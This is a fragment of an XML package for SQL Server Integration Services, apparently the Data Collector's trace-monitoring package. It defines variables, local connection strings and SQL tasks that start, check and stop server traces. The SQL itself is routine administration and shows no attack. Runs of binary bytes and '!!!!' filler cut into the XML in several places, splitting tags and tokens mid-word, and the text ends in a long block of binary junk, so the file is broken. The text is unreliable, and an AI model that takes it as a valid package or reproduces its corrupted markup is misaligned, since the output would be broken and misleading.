DTS:ObjectName="LoggingLevel"><DTS:VariableValue DTS:DataType="3">2</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{D13402E2-2FD2-4FF8-8873-93D5A999FCE5}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="LogID"><DTS:VariableValue DTS:DataType="20">0</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{2DF4BAA6-D6A8-4230-9007-A1CD3E5AF1CF}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="LoopDuration"><DTS:VariableValue DTS:DataType="20">0</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{EF24B339-0DAC-42AC-A490-CD53827688F7}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="LoopEventName"><DTS:VariableValue DTS:DataType="8">LOOPEVE	!!!!!!!!!!!!!!!!!!!!!!!!`s10FHvNT</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{A506924A-C3E2-41E2-8C9D-1EE5E4792051}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="MDWConnectionString"><DTS:VariableValue DTS:DataType="8">Provider=SQLNCLI11;Data Source=(local);Integrated Security=SSPI;Initial Catalog=MDW;APP=SQL Server Data Collector</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{58FC505F-AC84-4F90-834C-E27CC8478D0B}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="ParentLogID"><DTS:VariableValue DTS:DataType="20">0</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{9E925F74-02D2-4B08-8C55-BABE20B84168}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="TargetConnectionString"><DTS:VariableValue DTS:DataType="8">Provider=SQLNCLI11;Data Source=(local);Integrated Security=SSPI;APP=SQL Server Data Collector</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{549EEAA7-88DB-4FCB-9548-BBE7077559F9}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="TraceErrorCode"><DTS:VariableValue DTS:DataType="3">0</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{05CEC9A6-14B2-4B68-8EF7-7825CC7622D4}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="TraceID"><DTS:VariableValue DTS:DataType="3">0</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{1FDF1A88-F491-496C-BB22-26F2DB314498}" DTS:EvaluateAsExpression="True" DTS:Expression="@[User::CacheDirectory] + &quot;\\DC_Trace_&quot; + @[System::MachineName] + &quot;.&quot; + @[User::InstanceID] +  &quot;.&quot; + @[User::CollectionSetUID] +  &quot;.&quot; + (DT_WSTR, 5) @[User::ItemID]" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="TraceLocation"><DTS:VariableValue DTS:DataType="8">C:\Users\macies\AppData\Local\Temp\ecodedc\DC_Trace_SETHS-SSISVSTA2.MSSQL.1.f37780d4-fea7-4271-90b2-fa553ad4ca91.0</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{6BCBC2C4-F895-4B8C-A793-EB71AFF0AF2A}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="TraceScript"><DTS:VariableValue DTS:DataType="8"/></DTS:Variable></DTS:Variables><DTS:LoggingOptions DTS:FilterKind="0" DTS:LoggingMode="1"><DTS:Property DTS:DataType="8" DTS:Name="EventFilter">2,7,OnError,9,OnWarning</DTS:Property><DTS:Property DTS:EventName="OnError" DTS:Name="ColumnFilter"><DTS:Property DTS:Name="Computer">-1</DTS:Property><DTS:Property DTS:Name="Operator">-1</DTS:Property><DTS:Property DTS:Name="SourceName">-1</DTS:Property><DTS:Property DTS:Name="SourceID">-1</DTS:Property><DTS:Property DTS:Name="ExecutionID">-1</DTS:Property><DTS:Property DTS:Name="MessageText">-1</DTS:Property><DTS:Property DTS:Name="DataBytes">-1</DTS:Property></DTS:Property><DTS:Property DTS:EventName="OnWarning" DTS:Name="ColumnFilter"><DTS:Property DTS:Name="Computer">-1</DTS:Property><DTS:Property DTS:Name="Operator">-1</DTS:Property><DTS:Property DTS:Name="SourceName">-1</DTS:Property><DTS:Property DTS:Name="SourceID">-1</DTS:Property><DTS:Property DTS:Name="ExecutionID">-1</DTS:Property><DTS:Property DTS:Name="MessageText">-1</DTS:Property><DTS:Property DTS:Name="DataBytes">-1</DTS:Property></DTS:Property></DTS:LoggingOptions><DTS:Executables><DTS:Executable DTS:refId="Package\Foreach Loop - Monitor Trace" DTS:CreationName="STOCK:FOREACHLOOP" DTS:DelayValidation="True" DTS:Description="Foreach Loop Container" DTS:DTSID="{AC652D98-8CD6-4256-BEB0-7B937A9F6EFC}" DTS:ExecutableType="STOCK:FOREACHLOOP" DTS:FailParentOnFailure="True" DTS:LocaleID="-1" DTS:MaxErrorCount="0" DTS:ObjectName="Foreach Loop - Monitor Trace"><DTS:ForEachEnumerator DTS:CreationName="DC.ForEachEventEnumerator.2" DTS:DTSID="{710AEAF2-45BD-4AB2-9EAF-FB6268AD10A2}" DTS:ObjectName="{710AEAF2-45BD-4AB2-9EAF-FB6268AD10A2}"><DTS:PropertyExpression DTS:Name="ExitEventName">@[User::ExitEventName]</DTS:PropertyExpression><DTS:Pro	!!!!!!!!!!!!!!!!!!!!!!!!`t12\cHvpertyExpression DTS:Name="LoopEventName">@[User::LoopEventName]</DTS:PropertyExpression><DTS:ObjectData><ForEachEventEnumeratorProperties><FEEEProperty LoopEventName="LOOPEVENT"/><FEEEProperty ExitEventName="EXITEVENT"/></ForEachEventEnumeratorProperties></DTS:ObjectData></DTS:ForEachEnumerator><DTS:Variables/><DTS:LoggingOptions DTS:FilterKind="0" DTS:LoggingMode="2"/><DTS:Executables><DTS:Executable DTS:refId="Package\Foreach Loop - Monitor Trace\SQL - Check if Trace is Running" DTS:CreationName="Microsoft.SqlServer.Dts.Tasks.ExecuteSQLTask.ExecuteSQLTask, Microsoft.SqlServer.SQLTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:DelayValidation="True" DTS:Description="Execute SQL Task" DTS:DTSID="{DDDFF39B-578A-4DFB-B194-0723500C3565}" DTS:ExecutableType="Microsoft.SqlServer.Dts.Tasks.ExecuteSQLTask.ExecuteSQLTask, Microsoft.SqlServer.SQLTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:ISOLevel="4096" DTS:LocaleID="-1" DTS:MaxErrorCount="0" DTS:ObjectName="SQL - Check if Trace is Running" DTS:TaskContact="Execute SQL Task; Microsoft Corporation; Microsoft SQL Server v9;  2004 Microsoft Corporation; All Rights Reserved;http://www.microsoft.com/sql/support/default.asp;1" DTS:ThreadHint="0"><DTS:Variables/><DTS:LoggingOptions DTS:FilterKind="0" DTS:LoggingMode="2"/><DTS:ObjectData><SQLTask:SqlTaskData xmlns:SQLTask="www.microsoft.com/sqlserver/dts/tasks/sqltask" SQLTask:Connection="{BDD785A2-1226-44DB-B2B4-9D4AFF9CCB3A}" SQLTask:SqlStatementSource="DECLARE @TraceStatus INT&#x0A;DECLARE @TraceID INT&#x0A;&#x0A;SELECT &#x0A; @TraceID = id ,&#x0A; @TraceStatus = status&#x0A;FROM sys.traces&#x0A;WHERE &#x0A; [id] = ?&#x0A; AND ([path] LIKE ? + N'%.trc' OR is_default=1)&#x0A;&#x0A;IF @TraceID IS NULL&#x0A;BEGIN&#x0A; RAISERROR(14678, 16, -1, @TraceID)&#x0A;END&#x0A;ELSE&#x0A;BEGIN&#x0A; IF @TraceStatus &lt;&gt; 1&#x0A;  EXEC sp_trace_setstatus @TraceID, 1&#x0A;END&#x0A;"><SQLTask:ParameterBinding SQLTask:ParameterName="0" SQLTask:DtsVariableName="User::TraceID" SQLTask:ParameterDirection="Input" SQLTask:DataType="3" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="1" SQLTask:DtsVariableName="User::TraceLocation" SQLTask:ParameterDirection="Input" SQLTask:DataType="130" SQLTask:ParameterSize="-1"/></SQLTask:SqlTaskData></DTS:ObjectData></DTS:Executable><DTS:Executable DTS:refId="Package\Foreach Loop - Monitor Trace\SQL - Log Package Iteration" DTS:CreationName="Microsoft.SqlServer.Dts.Tasks.ExecuteSQLTask.ExecuteSQLTask, Microsoft.SqlServer.SQLTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:Description="Execute SQL Task" DTS:DTSID="{6287158D-7570-43DF-9D6E-9D9191345709}" DTS:ExecutableType="Microsoft.SqlServer.Dts.Tasks.ExecuteSQLTask.ExecuteSQLTask, Microsoft.SqlServer.SQLTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:ISOLevel="4096" DTS:LocaleID="-1" DTS:MaxErrorCount="0" DTS:ObjectName="SQL - Log Package Iteration" DTS:TaskContact="Execute SQL Task; Microsoft Corporation; Microsoft SQL Server v9;  2004 Microsoft Corporation; All Rights Reserved;http://www.microsoft.com/sql/support/default.asp;1" DTS:ThreadHint="1"><DTS:Variables/><DTS:LoggingOptions DTS:FilterKind="0" DTS:LoggingMode="2"/><DTS:ObjectData><SQLTask:SqlTaskData xmlns:SQLTask="www.microsoft.com/sqlserver/dts/tasks/sqltask" SQLTask:Connection="{9BE08268-DCA3-4834-8711-29EB7B34AC16}" SQLTask:SqlStatementSource="{ call dbo.sp_syscollector_event_onpackageupdate( ? )}"><SQLTask:ParameterBinding SQLTask:ParameterName="0" SQLTask:DtsVariableName="User::LogID" SQLTask:ParameterDirection="Input" SQLTask:DataType="20" SQLTask:ParameterSize="-1"/></SQLTask:SqlTaskData></DTS:ObjectData></DTS:Executable><DTS:Executable DTS:refId="Package\Foreach Loop - Monitor Trace\SQL - Log Package Stats" DTS:CreationName="Microsoft.SqlServer.Dts.Tasks.ExecuteSQLTask.ExecuteSQLTask, Microsoft.SqlServer.SQLTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd	!!!!!!!!!!!!!!!!!!!!!!!!`u19ilHv8080cc91" DTS:Description="Execute SQL Task" DTS:DTSID="{A96C46EC-F328-44A1-BE6B-0FA1A2E4267E}" DTS:ExecutableType="Microsoft.SqlServer.Dts.Tasks.ExecuteSQLTask.ExecuteSQLTask, Microsoft.SqlServer.SQLTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:ISOLevel="4096" DTS:LocaleID="-1" DTS:MaxErrorCount="0" DTS:ObjectName="SQL - Log Package Stats" DTS:TaskContact="Execute SQL Task; Microsoft Corporation; Microsoft SQL Server v9;  2004 Microsoft Corporation; All Rights Reserved;http://www.microsoft.com/sql/support/default.asp;1" DTS:ThreadHint="1"><DTS:Variables/><DTS:LoggingOptions DTS:FilterKind="0" DTS:LoggingMode="2"/><DTS:ObjectData><SQLTask:SqlTaskData xmlns:SQLTask="www.microsoft.com/sqlserver/dts/tasks/sqltask" SQLTask:Connection="{9BE08268-DCA3-4834-8711-29EB7B34AC16}" SQLTask:SqlStatementSource="{ call [dbo].[sp_syscollector_event_onstatsupdate] (?, N'Monitor trace', 0, 0, 0, ?) }"><SQLTask:ParameterBinding SQLTask:ParameterName="0" SQLTask:DtsVariableName="User::LogID" SQLTask:ParameterDirection="Input" SQLTask:DataType="20" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="1" SQLTask:DtsVariableName="User::LoopDuration" SQLTask:ParameterDirection="Input" SQLTask:DataType="3" SQLTask:ParameterSize="-1"/></SQLTask:SqlTaskData></DTS:ObjectData></DTS:Executable><DTS:Executable DTS:refId="Package\Foreach Loop - Monitor Trace\SQL - Recreate Trace" DTS:CreationName="Microsoft.SqlServer.Dts.Tasks.ExecuteSQLTask.ExecuteSQLTask, Microsoft.SqlServer.SQLTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:DelayValidation="True" DTS:Description="Execute SQL Task" DTS:DTSID="{972327c3-db40-4180-9f20-b5696bb14eb2}" DTS:ExecutableType="Microsoft.SqlServer.Dts.Tasks.ExecuteSQLTask.ExecuteSQLTask, Microsoft.SqlServer.SQLTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:FailParentOnFailure="True" DTS:ISOLevel="4096" DTS:LocaleID="-1" DTS:MaxErrorCount="0" DTS:ObjectName="SQL - Recreate Trace" DTS:TaskContact="Execute SQL Task; Microsoft Corporation; Microsoft SQL Server v9;  2004 Microsoft Corporation; All Rights Reserved;http://www.microsoft.com/sql/support/default.asp;1" DTS:ThreadHint="0"><DTS:Variables/><DTS:LoggingOptions DTS:FilterKind="0" DTS:LoggingMode="2"/><DTS:ObjectData><SQLTask:SqlTaskData xmlns:SQLTask="www.microsoft.com/sqlserver/dts/tasks/sqltask" SQLTask:Connection="{BDD785A2-1226-44DB-B2B4-9D4AFF9CCB3A}" SQLTask:SqlStmtSourceType="Variable" SQLTask:SqlStatementSource="User::TraceScript" SQLTask:ResultType="ResultSetType_SingleRow"><SQLTask:ResultBinding SQLTask:ResultName="trace_id" SQLTask:DtsVariableName="User::TraceID"/><SQLTask:ResultBinding SQLTask:ResultName="error_code" SQLTask:DtsVariableName="User::TraceErrorCode"/></SQLTask:SqlTaskData></DTS:ObjectData></DTS:Executable></DTS:Executables><DTS:PrecedenceConstraints><DTS:PrecedenceConstraint DTS:refId="Package\Foreach Loop - Monitor Trace.PrecedenceConstraints[Constraint]" DTS:CreationName="" DTS:DTSID="{717FFE6B-71FE-4F0A-B934-916A64CFA375}" DTS:From="Package\Foreach Loop - Monitor Trace\SQL - Check if Trace is Running" DTS:LogicalAnd="True" DTS:ObjectName="Constraint" DTS:To="Package\Foreach Loop - Monitor Trace\SQL - Recreate Trace" DTS:Value="1"/><DTS:PrecedenceConstraint DTS:refId="Package\Foreach Loop - Monitor Trace.PrecedenceConstraints[Constraint 1]" DTS:CreationName="" DTS:DTSID="{C8B2863D-73FC-49A9-A730-03681768D7A4}" DTS:EvalOp="3" DTS:Expression="@[User::LoggingLevel] &gt;= 1" DTS:From="Package\Foreach Loop - Monitor Trace\SQL - Check if Trace is Running" DTS:ObjectName="Constraint 1" DTS:To="Package\Foreach Loop - Monitor Trace\SQL - Log Package Stats"/><DTS:PrecedenceConstraint DTS:refId="Package\Foreach Loop - Monitor Trace.PrecedenceConstraints[Constraint 2]" DTS:CreationName="" DTS:DTSID="{43AC0421-D367-442B-852C-1C8C10E392AE}" DTS:EvalOp="3" DTS:Expression="@[User::LoggingLevel] &gt;= 1" DTS:From="Package\Foreach Loop - Monitor Trace\SQL - Recreate Trace	!!!!!!!!!!!!!!!!!!!!!!!!`v1(q&Hv" DTS:ObjectName="Constraint 2" DTS:To="Package\Foreach Loop - Monitor Trace\SQL - Log Package Stats" DTS:Value="2"/><DTS:PrecedenceConstraint DTS:refId="Package\Foreach Loop - Monitor Trace.PrecedenceConstraints[Constraint 3]" DTS:CreationName="" DTS:DTSID="{DCF85D96-5446-432D-8CCB-976768E873D3}" DTS:From="Package\Foreach Loop - Monitor Trace\SQL - Log Package Stats" DTS:LogicalAnd="True" DTS:ObjectName="Constraint 3" DTS:To="Package\Foreach Loop - Monitor Trace\SQL - Log Package Iteration" DTS:Value="2"/></DTS:PrecedenceConstraints><DTS:ForEachVariableMappings><DTS:ForEachVariableMapping DTS:CreationName="" DTS:DTSID="{20400B93-3704-4726-ADCC-73457B916283}" DTS:ObjectName="{20400B93-3704-4726-ADCC-73457B916283}" DTS:ValueIndex="0" DTS:VariableName="User::LoopDuration"/></DTS:ForEachVariableMappings></DTS:Executable><DTS:Executable DTS:refId="Package\SQL - Close trace if running" DTS:CreationName="Microsoft.SqlServer.Dts.Tasks.ExecuteSQLTask.ExecuteSQLTask, Microsoft.SqlServer.SQLTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:DelayValidation="True" DTS:Description="Execute SQL Task" DTS:DTSID="{22a8654c-00d2-41ea-8273-a98f925bca5a}" DTS:ExecutableType="Microsoft.SqlServer.Dts.Tasks.ExecuteSQLTask.ExecuteSQLTask, Microsoft.SqlServer.SQLTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:FailParentOnFailure="True" DTS:ISOLevel="4096" DTS:LocaleID="-1" DTS:MaxErrorCount="0" DTS:ObjectName="SQL - Close trace if running" DTS:TaskContact="Execute SQL Task; Microsoft Corporation; Microsoft SQL Server v9;  2004 Microsoft Corporation; All Rights Reserved;http://www.microsoft.com/sql/support/default.asp;1" DTS:ThreadHint="0"><DTS:Variables/><DTS:LoggingOptions DTS:FilterKind="0" DTS:LoggingMode="2"/><DTS:ObjectData><SQLTask:SqlTaskData xmlns:SQLTask="www.microsoft.com/sqlserver/dts/tasks/sqltask" SQLTask:Connection="{BDD785A2-1226-44DB-B2B4-9D4AFF9CCB3A}" SQLTask:SqlStatementSource="DECLARE @TraceStatus INT&#x0A;DECLARE @TraceID INT&#x0A;&#x0A;SELECT &#x0A; @TraceID = id ,&#x0A; @TraceStatus = status&#x0A;FROM sys.traces&#x0A;WHERE &#x0A; [path] LIKE ? + N'%.trc'&#x0A; AND is_default=0&#x0A;&#x0A;IF NOT @TraceID IS NULL&#x0A;BEGIN&#x0A;  EXEC sp_trace_setstatus @TraceID, 0&#x0A;  EXEC sp_trace_setstatus @TraceID, 2&#x0A;END&#x0A;"><SQLTask:ParameterBinding SQLTask:ParameterName="0" SQLTask:DtsVariableName="User::TraceLocation" SQLTask:ParameterDirection="Input" SQLTask:DataType="130" SQLTask:ParameterSize="-1"/></SQLTask:SqlTaskData></DTS:ObjectData></DTS:Executable><DTS:Executable DTS:refId="Package\SQL - Execute Trace Start Script" DTS:CreationName="Microsoft.SqlServer.Dts.Tasks.ExecuteSQLTask.ExecuteSQLTask, Microsoft.SqlServer.SQLTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:DelayValidation="True" DTS:Description="Execute SQL Task" DTS:DTSID="{B5D9B002-1927-4CCA-84AE-F291C7E5F613}" DTS:ExecutableType="Microsoft.SqlServer.Dts.Tasks.ExecuteSQLTask.ExecuteSQLTask, Microsoft.SqlServer.SQLTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:FailParentOnFailure="True" DTS:ISOLevel="4096" DTS:LocaleID="-1" DTS:MaxErrorCount="0" DTS:ObjectName="SQL - Execute Trace Start Script" DTS:TaskContact="Execute SQL Task; Microsoft Corporation; Microsoft SQL Server v9;  2004 Microsoft Corporation; All Rights Reserved;http://www.microsoft.com/sql/support/default.asp;1" DTS:ThreadHint="0"><DTS:Variables/><DTS:LoggingOptions DTS:FilterKind="0" DTS:LoggingMode="2"/><DTS:ObjectData><SQLTask:SqlTaskData xmlns:SQLTask="www.microsoft.com/sqlserver/dts/tasks/sqltask" SQLTask:Connection="{BDD785A2-1226-44DB-B2B4-9D4AFF9CCB3A}" SQLTask:SqlStmtSourceType="Variable" SQLTask:SqlStatementSource="User::TraceScript" SQLTask:ResultType="ResultSetType_SingleRow"><SQLTask:ResultBinding SQLTask:ResultName="trace_id" SQLTask:DtsVariableName="User::TraceID"/><SQLTask:ResultBinding SQLTask:ResultName="error_code" SQLTask:DtsVariableName="User::TraceErrorCode"/></SQLTask:SqlTas	!!!!!!!!!!!!!!!!!!!!!!!!`w1QHvkData></DTS:ObjectData></DTS:Executable><DTS:Executable DTS:refId="Package\SQL - Stop Trace" DTS:CreationName="Microsoft.SqlServer.Dts.Tasks.ExecuteSQLTask.ExecuteSQLTask, Microsoft.SqlServer.SQLTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:Description="Execute SQL Task" DTS:DTSID="{B4EFD1D8-5EA4-4E54-AA01-905A01982D39}" DTS:ExecutableType="Microsoft.SqlServer.Dts.Tasks.ExecuteSQLTask.ExecuteSQLTask, Microsoft.SqlServer.SQLTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:FailParentOnFailure="True" DTS:ISOLevel="4096" DTS:LocaleID="-1" DTS:MaxErrorCount="0" DTS:ObjectName="SQL - Stop Trace" DTS:TaskContact="Execute SQL Task; Microsoft Corporation; Microsoft SQL Server v9;  2004 Microsoft Corporation; All Rights Reserved;http://www.microsoft.com/sql/support/default.asp;1" DTS:ThreadHint="0"><DTS:Variables/><DTS:LoggingOptions DTS:FilterKind="0" DTS:LoggingMode="2"/><DTS:ObjectData><SQLTask:SqlTaskData xmlns:SQLTask="www.microsoft.com/sqlserver/dts/tasks/sqltask" SQLTask:Connection="{BDD785A2-1226-44DB-B2B4-9D4AFF9CCB3A}" SQLTask:SqlStatementSource="DECLARE @TraceID INT&#x0A;SELECT @TraceID = ?&#x0A;&#x0A;IF EXISTS (SELECT id FROM sys.traces WHERE id = @TraceID AND is_default = 0)&#x0A;BEGIN&#x0A;    EXEC sp_trace_setstatus @TraceID, 0&#x0A;END&#x0A;"><SQLTask:ParameterBinding SQLTask:ParameterName="0" SQLTask:DtsVariableName="User::TraceID" SQLTask:ParameterDirection="Input" SQLTask:DataType="3" SQLTask:ParameterSize="-1"/></SQLTask:SqlTaskData></DTS:ObjectData></DTS:Executable><DTS:Executable DTS:refId="Package\TRC - Generate Trace Start Script" DTS:CreationName="DTS.TraceStartScriptTask.2" DTS:DelayValidation="True" DTS:Description="Trace Start Script" DTS:DTSID="{A1508E93-DDD6-4E3D-BE78-46B59503E7AF}" DTS:ExecutableType="DTS.TraceStartScriptTask.2" DTS:FailParentOnFailure="True" DTS:LocaleID="-1" DTS:MaxErrorCount="0" DTS:ObjectName="TRC - Generate Trace Start Script" DTS:TaskContact="Trace Start Script Task;Microsoft Corporation; Microsoft SQL Server codename Katmai; (C) 2007 Microsoft Corporation; All Rights Reserved;http://www.microsoft.com/sql/support/default.asp;1" DTS:TransactionOption="0"><DTS:Variables/><DTS:LoggingOptions DTS:FilterKind="0" DTS:LoggingMode="2"/><DTS:PropertyExpression DTS:Name="InputParameters">@[User::InputParameters]</DTS:PropertyExpression><DTS:PropertyExpression DTS:Name="TraceFileLocation">@[User::TraceLocation]</DTS:PropertyExpression><DTS:ObjectData><TraceStartScriptTask><InputParameters>&lt;?xml version="1.0" encoding="utf-8"?&gt;&lt;ns:SqlTraceCollector xmlns:ns="DataCollectorType" normalize_sql="0" normalize_plans="0" normalize_procedures="0" normalize_connections="0" normalize_default="1"&gt;&lt;Events&gt;&lt;EventType id ="6" name="Performance"&gt;&lt;Event id="58" name="Auto Stats"  /&gt;&lt;Event id="165" name="Performance statistics"  /&gt;&lt;Event id="146" name="Showplan XML Statistics Profile"  /&gt;&lt;/EventType&gt;&lt;EventType id="13" name="TSQL"&gt;&lt;Event id="12" name="SQL:BatchCompleted" columnslist="1, 3, 9, 10, 13, 16, 17, 18" /&gt;&lt;Event id="13" name="SQL:BatchStarting"  /&gt;&lt;Event id="41" name="SQL:StmtCompleted"  /&gt;&lt;Event id="166" name="SQL:StmtRecompile"  /&gt;&lt;/EventType&gt;&lt;EventType id="20" name="CLR"&gt;&lt;Event id="196" name="Assembly Load"  /&gt;&lt;/EventType&gt;&lt;EventType id="1" name="Cursors"&gt;&lt;Event id="53" name="CursorOpen"  /&gt;&lt;Event id="75" name="CursorRecompile"  /&gt;&lt;Event id="76" name="CursorImplicitConversion"  /&gt;&lt;Event id="78" name="CursorClose"  /&gt;&lt;/EventType&gt;&lt;/Events&gt;&lt;Filters&gt;&lt;Filter columnid="13" columnname="Duration" logical_operator="AND" comparison_operator="GE" value="1000L"/&gt;&lt;Filter columnid="10" columnname="ApplicationName" logical_operator="AND" comparison_operator="LIKE" value="Data Collector"/&gt;&lt;Filter columnid="10" columnname="ApplicationName" logical_operator="AND" comparison_operator="EQ" value="NULL"/&gt;&lt;Filter 	!!!!!!!!!!!!!!!!!!!!!!!!`
Zx12/r+^o8!!!!`ly4
4H$qh>8^}p@:xYxHP5T tX(0O`oȎ0h+8Kjp@'xFeHP"A aX(<`\{0h88Wwpص@	x3	R	Hr					P
.
 N
m

X

(

)`Ih0h8%Ddpآ@
x 
?
H_
~



z	!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!